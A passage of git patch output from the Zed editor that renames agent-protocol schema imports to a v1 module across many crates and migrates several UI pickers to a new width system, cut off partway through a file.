@@ -11,7 +11,7 @@ use crate::{
 };
 use acp_thread::MentionUri;
 use agent::ThreadStore;
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use anyhow::{Result, anyhow};
 use base64::Engine as _;
 use editor::{
@@ -2215,7 +2215,7 @@ mod tests {
 
     use acp_thread::MentionUri;
     use agent::{ThreadStore, outline};
-    use agent_client_protocol::schema as acp;
+    use agent_client_protocol::schema::v1 as acp;
     use base64::Engine as _;
     use editor::{
         AnchorRangeExt as _, Editor, EditorMode, MultiBufferOffset, SelectionEffects,
diff --git a/crates/agent_ui/src/mode_selector.rs b/crates/agent_ui/src/mode_selector.rs
index cea60af7aa78c5..46c1543bd25e0e 100644
--- a/crates/agent_ui/src/mode_selector.rs
+++ b/crates/agent_ui/src/mode_selector.rs
@@ -1,5 +1,5 @@
 use acp_thread::AgentSessionModes;
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use agent_servers::AgentServer;
 
 use fs::Fs;
diff --git a/crates/agent_ui/src/test_support.rs b/crates/agent_ui/src/test_support.rs
index 2390784ce40cfa..914662bdd26cba 100644
--- a/crates/agent_ui/src/test_support.rs
+++ b/crates/agent_ui/src/test_support.rs
@@ -1,5 +1,5 @@
 use acp_thread::{AgentConnection, StubAgentConnection};
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use agent_servers::{AgentServer, AgentServerDelegate};
 use gpui::{
     App, AppContext as _, Context, Entity, EventEmitter, FocusHandle, Focusable, IntoElement,
diff --git a/crates/agent_ui/src/thread_import.rs b/crates/agent_ui/src/thread_import.rs
index c14ddd651de81c..9a3603ce309f56 100644
--- a/crates/agent_ui/src/thread_import.rs
+++ b/crates/agent_ui/src/thread_import.rs
@@ -2,7 +2,7 @@ use std::time::Duration;
 
 use acp_thread::AgentSessionListRequest;
 use agent::ThreadStore;
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use chrono::Utc;
 use collections::{HashMap, HashSet};
 use db::kvp::Dismissable;
diff --git a/crates/agent_ui/src/thread_metadata_store.rs b/crates/agent_ui/src/thread_metadata_store.rs
index 49bfbec9c0eade..1959b25c0e878a 100644
--- a/crates/agent_ui/src/thread_metadata_store.rs
+++ b/crates/agent_ui/src/thread_metadata_store.rs
@@ -4,7 +4,7 @@ use std::{
 };
 
 use agent::{ThreadStore, ZED_AGENT_ID};
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use anyhow::Context as _;
 use chrono::{DateTime, Utc};
 use collections::{HashMap, HashSet};
@@ -1824,7 +1824,7 @@ mod tests {
     use acp_thread::StubAgentConnection;
     use action_log::ActionLog;
     use agent::DbThread;
-    use agent_client_protocol::schema as acp;
+    use agent_client_protocol::schema::v1 as acp;
     use gpui::{TestAppContext, VisualTestContext};
     use project::FakeFs;
     use project::Project;
diff --git a/crates/agent_ui/src/threads_archive_view.rs b/crates/agent_ui/src/threads_archive_view.rs
index d8f1e56bb13bc1..5d3c792f2c841d 100644
--- a/crates/agent_ui/src/threads_archive_view.rs
+++ b/crates/agent_ui/src/threads_archive_view.rs
@@ -10,7 +10,7 @@ use crate::thread_metadata_store::{
 use crate::{Agent, ArchiveSelectedThread, DEFAULT_THREAD_TITLE, RemoveSelectedThread};
 
 use agent::ThreadStore;
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use agent_settings::AgentSettings;
 use chrono::{DateTime, Datelike as _, Local, NaiveDate, TimeDelta, Utc};
 use collections::HashMap;
diff --git a/crates/agent_ui/src/ui/mention_crease.rs b/crates/agent_ui/src/ui/mention_crease.rs
index 8b2fa0cbab6ec5..97f45526cdcee2 100644
--- a/crates/agent_ui/src/ui/mention_crease.rs
+++ b/crates/agent_ui/src/ui/mention_crease.rs
@@ -1,7 +1,7 @@
 use std::{path::PathBuf, time::Duration};
 
 use acp_thread::MentionUri;
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use editor::Editor;
 use gpui::{
     Animation, AnimationExt, AnyView, Context, IntoElement, TaskExt, WeakEntity, Window,
diff --git a/crates/eval_cli/src/main.rs b/crates/eval_cli/src/main.rs
index 5d45c948868e61..11e36914664fff 100644
--- a/crates/eval_cli/src/main.rs
+++ b/crates/eval_cli/src/main.rs
@@ -40,7 +40,7 @@ use std::time::{Duration, Instant};
 
 use acp_thread::AgentConnection as _;
 use agent::{NativeAgent, NativeAgentConnection, Templates, ThreadStore};
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use anyhow::{Context, Result};
 use clap::Parser;
 use feature_flags::FeatureFlagAppExt as _;
diff --git a/crates/remote_server/src/remote_editing_tests.rs b/crates/remote_server/src/remote_editing_tests.rs
index 4663ffea3a0a06..8bd3493a9d2fa5 100644
--- a/crates/remote_server/src/remote_editing_tests.rs
+++ b/crates/remote_server/src/remote_editing_tests.rs
@@ -2473,8 +2473,8 @@ async fn test_adding_remote_skill(cx: &mut TestAppContext, server_cx: &mut TestA
     authorization
         .response
         .send(acp_thread::SelectedPermissionOutcome::new(
-            agent_client_protocol::schema::PermissionOptionId::new("allow"),
-            agent_client_protocol::schema::PermissionOptionKind::AllowOnce,
+            agent_client_protocol::schema::v1::PermissionOptionId::new("allow"),
+            agent_client_protocol::schema::v1::PermissionOptionKind::AllowOnce,
         ))
         .unwrap();
 
@@ -2523,8 +2523,8 @@ async fn test_adding_remote_skill(cx: &mut TestAppContext, server_cx: &mut TestA
     authorization
         .response
         .send(acp_thread::SelectedPermissionOutcome::new(
-            agent_client_protocol::schema::PermissionOptionId::new("allow"),
-            agent_client_protocol::schema::PermissionOptionKind::AllowOnce,
+            agent_client_protocol::schema::v1::PermissionOptionId::new("allow"),
+            agent_client_protocol::schema::v1::PermissionOptionKind::AllowOnce,
         ))
         .unwrap();
 
diff --git a/crates/sidebar/src/sidebar.rs b/crates/sidebar/src/sidebar.rs
index 99ddd48dcdf66b..9ad835e8d7199a 100644
--- a/crates/sidebar/src/sidebar.rs
+++ b/crates/sidebar/src/sidebar.rs
@@ -3,7 +3,7 @@ mod thread_switcher;
 use acp_thread::ThreadStatus;
 use action_log::DiffStats;
 use agent::{ThreadStore, ZED_AGENT_ID};
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use agent_settings::AgentSettings;
 use agent_ui::terminal_thread_metadata_store::{
     TerminalThreadMetadata, TerminalThreadMetadataStore, terminal_title_prefix,
diff --git a/crates/zed/src/main.rs b/crates/zed/src/main.rs
index 31e3f0b0157eea..6af0fa1b06b656 100644
--- a/crates/zed/src/main.rs
+++ b/crates/zed/src/main.rs
@@ -15,7 +15,7 @@ const _: () = assert!(
 );
 
 use agent::{SharedThread, ThreadStore};
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use agent_ui::AgentPanel;
 use anyhow::{Context as _, Result};
 use clap::Parser;
diff --git a/crates/zed/src/visual_test_runner.rs b/crates/zed/src/visual_test_runner.rs
index 0f4e84abcfc9ce..668b1fc514c16e 100644
--- a/crates/zed/src/visual_test_runner.rs
+++ b/crates/zed/src/visual_test_runner.rs
@@ -95,7 +95,7 @@ fn main() {
 #[cfg(target_os = "macos")]
 use {
     acp_thread::{AgentConnection, StubAgentConnection},
-    agent_client_protocol::schema as acp,
+    agent_client_protocol::schema::v1 as acp,
     agent_servers::{AgentServer, AgentServerDelegate},
     anyhow::{Context as _, Result},
     assets::Assets,

From 8c10715a4df448b1b765652a2d05bb7856f0404e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Yara=20=F0=9F=8F=B3=EF=B8=8F=E2=80=8D=E2=9A=A7=EF=B8=8F?=
 <git@yara.blue>
Date: Mon, 22 Jun 2026 13:21:37 +0200
Subject: [PATCH 024/772] Migrate missed pickers to new width system (#59693)

# Objective

- Fixes #59643.

## Problems

- Initial and minimum width was not migrated for all pickers.
- Some pickers had their width still determined by their wrapper.
- Some pickers where not modals but did not have modal false set.

## Solution
- Migrate the pickers we missed.
- Remove the width being set on the div's wrapping the pickers.
- Set modal false on the missed pickers.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- N/A
---
 .../src/agent_configuration/tool_picker.rs    | 20 ++++++++++++++++---
 .../agent_ui/src/language_model_selector.rs   |  6 +++++-
 crates/agent_ui/src/threads_archive_view.rs   |  5 ++++-
 .../src/collab_panel/channel_modal.rs         |  5 ++++-
 .../src/collab_panel/contact_finder.rs        | 10 ++++++++--
 crates/command_palette/src/command_palette.rs |  2 +-
 crates/debugger_ui/src/attach_modal.rs        |  5 ++++-
 .../src/encoding_selector.rs                  | 11 +++++++---
 .../src/extension_version_selector.rs         | 10 ++++++++--
 crates/file_finder/src/file_finder.rs         |  1 +
 crates/git_ui/src/git_graph.rs                | 12 +++++++----
 crates/git_ui/src/picker_prompt.rs            | 14 +++++++------
 crates/git_ui/src/worktree_picker.rs          |  2 +-
 .../src/language_selector.rs                  | 11 +++++++---
 .../src/line_ending_selector.rs               | 10 ++++++++--
 crates/onboarding/src/base_keymap_picker.rs   | 10 ++++++++--
 crates/picker/src/popover_menu.rs             |  1 +
 crates/recent_projects/src/remote_servers.rs  |  3 +++
 .../src/sidebar_recent_projects.rs            |  3 +++
 crates/repl/src/components/kernel_options.rs  |  1 +
 crates/search/src/text_finder.rs              |  7 +++++--
 .../src/settings_profile_selector.rs          | 10 ++++++++--
 .../settings_ui/src/components/font_picker.rs |  1 +
 .../src/components/icon_theme_picker.rs       |  1 +
 .../src/components/ollama_model_picker.rs     |  1 +
 .../src/components/theme_picker.rs            |  1 +
 crates/snippets_ui/src/snippets_ui.rs         | 10 ++++++++--
 crates/tab_switcher/src/tab_switcher.rs       |  2 ++
 crates/tasks_ui/src/modal.rs                  |  5 ++++-
 .../theme_selector/src/icon_theme_selector.rs |  6 +++++-
 crates/theme_selector/src/theme_selector.rs   |  6 +++++-
 .../src/toolchain_selector.rs                 | 10 ++++++++--
 32 files changed, 158 insertions(+), 44 deletions(-)

diff --git a/crates/agent_ui/src/agent_configuration/tool_picker.rs b/crates/agent_ui/src/agent_configuration/tool_picker.rs
index d1d471ccb9f8f5..757bec6c5eda80 100644
--- a/crates/agent_ui/src/agent_configuration/tool_picker.rs
+++ b/crates/agent_ui/src/agent_configuration/tool_picker.rs
@@ -25,7 +25,14 @@ impl ToolPicker {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> Self {
-        let picker = cx.new(|cx| Picker::uniform_list(delegate, window, cx).modal(false));
+        let picker = cx.new(|cx| {
+            Picker::uniform_list(delegate, window, cx)
+                .modal(false)
+                .initial_width(rems(34.))
+                .minimum_results_width(rems(34.))
+                .height(rems(24.))
+                .no_vertical_padding()
+        });
         Self { picker }
     }
 
@@ -34,7 +41,14 @@ impl ToolPicker {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> Self {
-        let picker = cx.new(|cx| Picker::list(delegate, window, cx).modal(false));
+        let picker = cx.new(|cx| {
+            Picker::list(delegate, window, cx)
+                .modal(false)
+                .initial_width(rems(34.))
+                .minimum_results_width(rems(34.))
+                .height(rems(24.))
+                .no_vertical_padding()
+        });
         Self { picker }
     }
 }
@@ -49,7 +63,7 @@ impl Focusable for ToolPicker {
 
 impl Render for ToolPicker {
     fn render(&mut self, _window: &mut Window, _cx: &mut Context<Self>) -> impl IntoElement {
-        v_flex().w(rems(34.)).child(self.picker.clone())
+        v_flex().child(self.picker.clone())
     }
 }
 
diff --git a/crates/agent_ui/src/language_model_selector.rs b/crates/agent_ui/src/language_model_selector.rs
index aeba2a5067e075..5a1c9383326c84 100644
--- a/crates/agent_ui/src/language_model_selector.rs
+++ b/crates/agent_ui/src/language_model_selector.rs
@@ -50,8 +50,12 @@ pub fn language_model_selector(
             .minimum_results_width(rems(20.))
             .height(rems(20.))
             .no_vertical_padding()
+            .modal(false)
     } else {
-        Picker::list(delegate, window, cx).show_scrollbar(true)
+        Picker::list(delegate, window, cx)
+            .show_scrollbar(true)
+            .minimum_results_width(rems(20.))
+            .initial_width(rems(20.))
     }
 }
 
diff --git a/crates/agent_ui/src/threads_archive_view.rs b/crates/agent_ui/src/threads_archive_view.rs
index 5d3c792f2c841d..cb961e8503d532 100644
--- a/crates/agent_ui/src/threads_archive_view.rs
+++ b/crates/agent_ui/src/threads_archive_view.rs
@@ -1135,6 +1135,10 @@ impl ProjectPickerModal {
             Picker::list(delegate, window, cx)
                 .list_measure_all()
                 .modal(false)
+                .initial_width(rems(34.))
+                .minimum_results_width(rems(34.))
+                .height(rems(24.))
+                .no_vertical_padding()
         });
 
         let picker_focus_handle = picker.focus_handle(cx);
@@ -1188,7 +1192,6 @@ impl Render for ProjectPickerModal {
         v_flex()
             .key_context("ProjectPickerModal")
             .elevation_3(cx)
-            .w(rems(34.))
             .on_action(cx.listener(|this, _: &workspace::Open, window, cx| {
                 this.picker.update(cx, |picker, cx| {
                     picker.delegate.open_local_folder(window, cx)
diff --git a/crates/collab_ui/src/collab_panel/channel_modal.rs b/crates/collab_ui/src/collab_panel/channel_modal.rs
index 3caa5a3fb2f1e8..be1a5280badc23 100644
--- a/crates/collab_ui/src/collab_panel/channel_modal.rs
+++ b/crates/collab_ui/src/collab_panel/channel_modal.rs
@@ -66,6 +66,10 @@ impl ChannelModal {
                 cx,
             )
             .modal(false)
+            .initial_width(rems(34.))
+            .minimum_results_width(rems(34.))
+            .height(rems(24.))
+            .no_vertical_padding()
         });
 
         Self {
@@ -146,7 +150,6 @@ impl Render for ChannelModal {
             .on_action(cx.listener(Self::toggle_mode))
             .on_action(cx.listener(Self::dismiss))
             .elevation_3(cx)
-            .w(rems(34.))
             .child(
                 v_flex()
                     .px_2()
diff --git a/crates/collab_ui/src/collab_panel/contact_finder.rs b/crates/collab_ui/src/collab_panel/contact_finder.rs
index 190c27a483060d..177058b241805d 100644
--- a/crates/collab_ui/src/collab_panel/contact_finder.rs
+++ b/crates/collab_ui/src/collab_panel/contact_finder.rs
@@ -21,7 +21,14 @@ impl ContactFinder {
             potential_contacts: Arc::from([]),
             selected_index: 0,
         };
-        let picker = cx.new(|cx| Picker::uniform_list(delegate, window, cx).modal(false));
+        let picker = cx.new(|cx| {
+            Picker::uniform_list(delegate, window, cx)
+                .modal(false)
+                .initial_width(rems(34.))
+                .minimum_results_width(rems(34.))
+                .height(rems(24.))
+                .no_vertical_padding()
+        });
 
         Self { picker }
     }
@@ -48,7 +55,6 @@ impl Render for ContactFinder {
                     .child(h_flex().child(Label::new("Invite new contacts"))),
             )
             .child(self.picker.clone())
-            .w(rems(34.))
     }
 }
 
diff --git a/crates/command_palette/src/command_palette.rs b/crates/command_palette/src/command_palette.rs
index 756eca33fc62e1..b744ad5e770b36 100644
--- a/crates/command_palette/src/command_palette.rs
+++ b/crates/command_palette/src/command_palette.rs
@@ -127,7 +127,7 @@ impl CommandPalette {
         let picker = cx.new(|cx| {
             let picker = Picker::uniform_list(delegate, window, cx)
                 .initial_width(rems(34.))
-                .minimum_results_width(rems(30.))
+                .minimum_results_width(rems(34.))
                 .height(rems(24.))
                 .no_vertical_padding();
             picker.set_query(query, window, cx);
diff --git a/crates/debugger_ui/src/attach_modal.rs b/crates/debugger_ui/src/attach_modal.rs
index 2942bd117ccdb5..ab7f044774bbb3 100644
--- a/crates/debugger_ui/src/attach_modal.rs
+++ b/crates/debugger_ui/src/attach_modal.rs
@@ -104,6 +104,10 @@ impl AttachModal {
                 cx,
             )
             .modal(modal)
+            .initial_width(rems(34.))
+            .minimum_results_width(rems(34.))
+            .height(rems(24.))
+            .no_vertical_padding()
         });
         Self {
             _subscription: cx.subscribe(&picker, |_, _, _, cx| {
@@ -119,7 +123,6 @@ impl Render for AttachModal {
         v_flex()
             .key_context("AttachModal")
             .track_focus(&self.focus_handle(cx))
-            .w(rems(34.))
             .child(self.picker.clone())
     }
 }
diff --git a/crates/encoding_selector/src/encoding_selector.rs b/crates/encoding_selector/src/encoding_selector.rs
index 549ffda394fc0a..7e4ac8302b5ff0 100644
--- a/crates/encoding_selector/src/encoding_selector.rs
+++ b/crates/encoding_selector/src/encoding_selector.rs
@@ -6,7 +6,7 @@ use encoding_rs::Encoding;
 use fuzzy::{StringMatch, StringMatchCandidate, match_strings};
 use gpui::{
     App, AppContext, Context, DismissEvent, Entity, EventEmitter, FocusHandle, Focusable,
-    InteractiveElement, ParentElement, Render, Styled, Task, WeakEntity, Window, actions,
+    InteractiveElement, ParentElement, Render, Task, WeakEntity, Window, actions,
 };
 use language::Buffer;
 use picker::{Picker, PickerDelegate};
@@ -95,7 +95,13 @@ impl EncodingSelector {
 
     fn new(buffer: Entity<Buffer>, window: &mut Window, cx: &mut Context<Self>) -> Self {
         let delegate = EncodingSelectorDelegate::new(cx.entity().downgrade(), buffer);
-        let picker = cx.new(|cx| Picker::uniform_list(delegate, window, cx));
+        let picker = cx.new(|cx| {
+            Picker::uniform_list(delegate, window, cx)
+                .initial_width(gpui::rems(34.))
+                .minimum_results_width(gpui::rems(34.))
+                .height(gpui::rems(24.))
+                .no_vertical_padding()
+        });
         Self { picker }
     }
 }
@@ -104,7 +110,6 @@ impl Render for EncodingSelector {
     fn render(&mut self, _window: &mut Window, _cx: &mut Context<Self>) -> impl gpui::IntoElement {
         v_flex()
             .key_context("EncodingSelector")
-            .w(gpui::rems(34.))
             .child(self.picker.clone())
     }
 }
diff --git a/crates/extensions_ui/src/extension_version_selector.rs b/crates/extensions_ui/src/extension_version_selector.rs
index 1c123fc35ccd48..7e599bf371c62e 100644
--- a/crates/extensions_ui/src/extension_version_selector.rs
+++ b/crates/extensions_ui/src/extension_version_selector.rs
@@ -30,7 +30,7 @@ impl Focusable for ExtensionVersionSelector {
 
 impl Render for ExtensionVersionSelector {
     fn render(&mut self, _window: &mut Window, _cx: &mut Context<Self>) -> impl IntoElement {
-        v_flex().w(rems(34.)).child(self.picker.clone())
+        v_flex().child(self.picker.clone())
     }
 }
 
@@ -40,7 +40,13 @@ impl ExtensionVersionSelector {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> Self {
-        let picker = cx.new(|cx| Picker::uniform_list(delegate, window, cx));
+        let picker = cx.new(|cx| {
+            Picker::uniform_list(delegate, window, cx)
+                .initial_width(rems(34.))
+                .minimum_results_width(rems(34.))
+                .height(rems(24.))
+                .no_vertical_padding()
+        });
         Self { picker }
     }
 }
diff --git a/crates/file_finder/src/file_finder.rs b/crates/file_finder/src/file_finder.rs
index 7c961bf13f96d7..f609dae780863d 100644
--- a/crates/file_finder/src/file_finder.rs
+++ b/crates/file_finder/src/file_finder.rs
@@ -171,6 +171,7 @@ impl FileFinder {
         let project = delegate.project.clone();
         let picker = cx.new(|cx| {
             let picker = Picker::uniform_list_with_preview(delegate, project, window, cx)
+                .minimum_results_width(gpui::rems(34.))
                 .height(gpui::rems(24.))
                 .no_vertical_padding();
             // The dedicated file finder width setting has been removed in favor of
diff --git a/crates/git_ui/src/git_graph.rs b/crates/git_ui/src/git_graph.rs
index 9422db54d82b01..84628d0dd614e1 100644
--- a/crates/git_ui/src/git_graph.rs
+++ b/crates/git_ui/src/git_graph.rs
@@ -108,7 +108,13 @@ impl CommitTagPicker {
             tag_names,
             selected_index: 0,
         };
-        let picker = cx.new(|cx| Picker::nonsearchable_uniform_list(delegate, window, cx));
+        let picker = cx.new(|cx| {
+            Picker::nonsearchable_uniform_list(delegate, window, cx)
+                .initial_width(COMMIT_TAG_LIST_WIDTH_IN_REMS)
+                .minimum_results_width(COMMIT_TAG_LIST_WIDTH_IN_REMS)
+                .height(rems(24.))
+                .no_vertical_padding()
+        });
         Self { picker }
     }
 }
@@ -124,9 +130,7 @@ impl Focusable for CommitTagPicker {
 
 impl Render for CommitTagPicker {
     fn render(&mut self, _window: &mut Window, _cx: &mut Context<Self>) -> impl IntoElement {
-        v_flex()
-            .w(COMMIT_TAG_LIST_WIDTH_IN_REMS)
-            .child(self.picker.clone())
+        v_flex().child(self.picker.clone())
     }
 }
 
diff --git a/crates/git_ui/src/picker_prompt.rs b/crates/git_ui/src/picker_prompt.rs
index 4426087683a3c6..03c0553fef8cd0 100644
--- a/crates/git_ui/src/picker_prompt.rs
+++ b/crates/git_ui/src/picker_prompt.rs
@@ -4,8 +4,7 @@ use fuzzy::{StringMatch, StringMatchCandidate};
 use core::cmp;
 use gpui::{
     App, Context, DismissEvent, Entity, EventEmitter, FocusHandle, Focusable, InteractiveElement,
-    IntoElement, ParentElement, Render, SharedString, Styled, Subscription, Task, WeakEntity,
-    Window, rems,
+    IntoElement, ParentElement, Render, SharedString, Subscription, Task, WeakEntity, Window, rems,
 };
 use picker::{Picker, PickerDelegate};
 use std::sync::Arc;
@@ -15,7 +14,6 @@ use workspace::{ModalView, Workspace};
 
 pub struct PickerPrompt {
     pub picker: Entity<Picker<PickerPromptDelegate>>,
-    rem_width: f32,
     _subscription: Subscription,
 }
 
@@ -57,11 +55,16 @@ impl PickerPrompt {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> Self {
-        let picker = cx.new(|cx| Picker::uniform_list(delegate, window, cx));
+        let picker = cx.new(|cx| {
+            Picker::uniform_list(delegate, window, cx)
+                .initial_width(rems(rem_width))
+                .minimum_results_width(rems(rem_width))
+                .height(rems(24.))
+                .no_vertical_padding()
+        });
         let _subscription = cx.subscribe(&picker, |_, _, _, cx| cx.emit(DismissEvent));
         Self {
             picker,
-            rem_width,
             _subscription,
         }
     }
@@ -78,7 +81,6 @@ impl Focusable for PickerPrompt {
 impl Render for PickerPrompt {
     fn render(&mut self, _: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
         v_flex()
-            .w(rems(self.rem_width))
             .child(self.picker.clone())
             .on_mouse_down_out(cx.listener(|this, _, window, cx| {
                 this.picker.update(cx, |this, cx| {
diff --git a/crates/git_ui/src/worktree_picker.rs b/crates/git_ui/src/worktree_picker.rs
index a8e18ed9e39e31..dab2b3e00b505a 100644
--- a/crates/git_ui/src/worktree_picker.rs
+++ b/crates/git_ui/src/worktree_picker.rs
@@ -129,6 +129,7 @@ impl WorktreePicker {
                 .list_measure_all()
                 .show_scrollbar(true)
                 .modal(false)
+                .initial_width(rems(34.))
                 .minimum_results_width(rems(34.))
                 .height(rems(20.))
                 .no_vertical_padding()
@@ -243,7 +244,6 @@ impl Render for WorktreePicker {
     fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
         v_flex()
             .key_context("WorktreePicker")
-            .w(rems(34.))
             .elevation_3(cx)
             .child(self.picker.clone())
             .on_modifiers_changed(cx.listener(Self::handle_modifiers_changed))
diff --git a/crates/language_selector/src/language_selector.rs b/crates/language_selector/src/language_selector.rs
index 86e48c56363315..f1d86da079c74a 100644
--- a/crates/language_selector/src/language_selector.rs
+++ b/crates/language_selector/src/language_selector.rs
@@ -6,7 +6,7 @@ use editor::Editor;
 use fuzzy::{StringMatch, StringMatchCandidate, match_strings};
 use gpui::{
     App, Context, DismissEvent, Entity, EventEmitter, FocusHandle, Focusable, ParentElement,
-    Render, Styled, TaskExt, WeakEntity, Window, actions,
+    Render, TaskExt, WeakEntity, Window, actions,
 };
 use language::{Buffer, LanguageMatcher, LanguageName, LanguageRegistry};
 use open_path_prompt::file_finder_settings::FileFinderSettings;
@@ -83,7 +83,13 @@ impl LanguageSelector {
             current_language_name,
         );
 
-        let picker = cx.new(|cx| Picker::uniform_list(delegate, window, cx));
+        let picker = cx.new(|cx| {
+            Picker::uniform_list(delegate, window, cx)
+                .initial_width(rems(34.))
+                .minimum_results_width(rems(34.))
+                .height(rems(24.))
+                .no_vertical_padding()
+        });
         Self { picker }
     }
 }
@@ -92,7 +98,6 @@ impl Render for LanguageSelector {
     fn render(&mut self, _window: &mut Window, _cx: &mut Context<Self>) -> impl IntoElement {
         v_flex()
             .key_context("LanguageSelector")
-            .w(rems(34.))
             .child(self.picker.clone())
     }
 }
diff --git a/crates/line_ending_selector/src/line_ending_selector.rs b/crates/line_ending_selector/src/line_ending_selector.rs
index 9d7aa9e1f8fd65..5ba42c30827e00 100644
--- a/crates/line_ending_selector/src/line_ending_selector.rs
+++ b/crates/line_ending_selector/src/line_ending_selector.rs
@@ -65,14 +65,20 @@ impl LineEndingSelector {
         let line_ending = buffer.read(cx).line_ending();
         let delegate =
             LineEndingSelectorDelegate::new(cx.entity().downgrade(), buffer, project, line_ending);
-        let picker = cx.new(|cx| Picker::nonsearchable_uniform_list(delegate, window, cx));
+        let picker = cx.new(|cx| {
+            Picker::nonsearchable_uniform_list(delegate, window, cx)
+                .initial_width(rems(34.))
+                .minimum_results_width(rems(34.))
+                .height(rems(24.))
+                .no_vertical_padding()
+        });
         Self { picker }
     }
 }
 
 impl Render for LineEndingSelector {
     fn render(&mut self, _window: &mut Window, _cx: &mut Context<Self>) -> impl IntoElement {
-        v_flex().w(rems(34.)).child(self.picker.clone())
+        v_flex().child(self.picker.clone())
     }
 }
 
diff --git a/crates/onboarding/src/base_keymap_picker.rs b/crates/onboarding/src/base_keymap_picker.rs
index c989ed3ffc1cf6..6f0fa5d49fcbc7 100644
--- a/crates/onboarding/src/base_keymap_picker.rs
+++ b/crates/onboarding/src/base_keymap_picker.rs
@@ -61,14 +61,20 @@ impl BaseKeymapSelector {
         window: &mut Window,
         cx: &mut Context<BaseKeymapSelector>,
     ) -> Self {
-        let picker = cx.new(|cx| Picker::uniform_list(delegate, window, cx));
+        let picker = cx.new(|cx| {
+            Picker::uniform_list(delegate, window, cx)
+                .initial_width(rems(34.))
+                .minimum_results_width(rems(34.))
+                .height(rems(24.))
+                .no_vertical_padding()
+        });
         Self { picker }
     }
 }
 
 impl Render for BaseKeymapSelector {
     fn render(&mut self, _window: &mut Window, _cx: &mut Context<Self>) -> impl IntoElement {
-        v_flex().w(rems(34.)).child(self.picker.clone())
+        v_flex().child(self.picker.clone())
     }
 }
 
diff --git a/crates/picker/src/popover_menu.rs b/crates/picker/src/popover_menu.rs
index b534f8f2ba3818..b3c4fba41a460b 100644
--- a/crates/picker/src/popover_menu.rs
+++ b/crates/picker/src/popover_menu.rs
@@ -36,6 +36,7 @@ where
         anchor: Anchor,
         cx: &mut App,
     ) -> Self {
+        picker.update(cx, |picker, _| picker.is_modal = false);
         Self {
             _subscriptions: vec![cx.subscribe(&picker, |picker, &DismissEvent, cx| {
                 picker.update(cx, |_, cx| cx.emit(DismissEvent));
diff --git a/crates/recent_projects/src/remote_servers.rs b/crates/recent_projects/src/remote_servers.rs
index 017e7674d1f0c6..e83a8fd045bc6f 100644
--- a/crates/recent_projects/src/remote_servers.rs
+++ b/crates/recent_projects/src/remote_servers.rs
@@ -404,7 +404,10 @@ impl ProjectPicker {
 
         let picker = cx.new(|cx| {
             let picker = Picker::uniform_list(delegate, window, cx)
+                .initial_width(rems(34.))
                 .minimum_results_width(rems(34.))
+                .height(rems(24.))
+                .no_vertical_padding()
                 .modal(false);
             picker.set_query(&home_dir.to_string(), window, cx);
             picker
diff --git a/crates/recent_projects/src/sidebar_recent_projects.rs b/crates/recent_projects/src/sidebar_recent_projects.rs
index 7435c005c71ec2..a5cc8e14c8efa4 100644
--- a/crates/recent_projects/src/sidebar_recent_projects.rs
+++ b/crates/recent_projects/src/sidebar_recent_projects.rs
@@ -55,6 +55,9 @@ impl SidebarRecentProjects {
                 Picker::list(delegate, window, cx)
                     .list_measure_all()
                     .show_scrollbar(true)
+                    .initial_width(rems(18.))
+                    .minimum_results_width(rems(18.))
+                    .modal(false)
             });
 
             let picker_focus_handle = picker.focus_handle(cx);
diff --git a/crates/repl/src/components/kernel_options.rs b/crates/repl/src/components/kernel_options.rs
index 4503d260e7c14c..698428f92ab005 100644
--- a/crates/repl/src/components/kernel_options.rs
+++ b/crates/repl/src/components/kernel_options.rs
@@ -484,6 +484,7 @@ where
                 .minimum_results_width(rems(34.))
                 .height(rems(24.))
                 .no_vertical_padding()
+                .modal(false)
         });
 
         PopoverMenu::new("kernel-switcher")
diff --git a/crates/search/src/text_finder.rs b/crates/search/src/text_finder.rs
index 4852e2e2386806..c2a8c58b633e0c 100644
--- a/crates/search/src/text_finder.rs
+++ b/crates/search/src/text_finder.rs
@@ -9,7 +9,7 @@ use picker::Picker;
 
 use project::ProjectPath;
 use text::Anchor;
-use ui::Window;
+use ui::{Rems, Window};
 use workspace::{DismissDecision, ModalView, Workspace};
 
 mod delegate;
@@ -223,7 +223,10 @@ impl TextFinder {
 
     fn new(delegate: Delegate, window: &mut Window, cx: &mut Context<Self>) -> Self {
         let project = delegate.project(cx).clone();
-        let picker = cx.new(|cx| Picker::list_with_preview(delegate, project, window, cx));
+        let picker = cx.new(|cx| {
+            Picker::list_with_preview(delegate, project, window, cx)
+                .minimum_results_width(Rems(20.0))
+        });
         let picker_weak = picker.downgrade();
         let picker_focus_handle = picker.focus_handle(cx);
         picker.update(cx, |picker, cx| {
diff --git a/crates/settings_profile_selector/src/settings_profile_selector.rs b/crates/settings_profile_selector/src/settings_profile_selector.rs
index d3cdde3a3903ef..59dc0e4b505a8b 100644
--- a/crates/settings_profile_selector/src/settings_profile_selector.rs
+++ b/crates/settings_profile_selector/src/settings_profile_selector.rs
@@ -42,7 +42,7 @@ impl Focusable for SettingsProfileSelector {
 
 impl Render for SettingsProfileSelector {
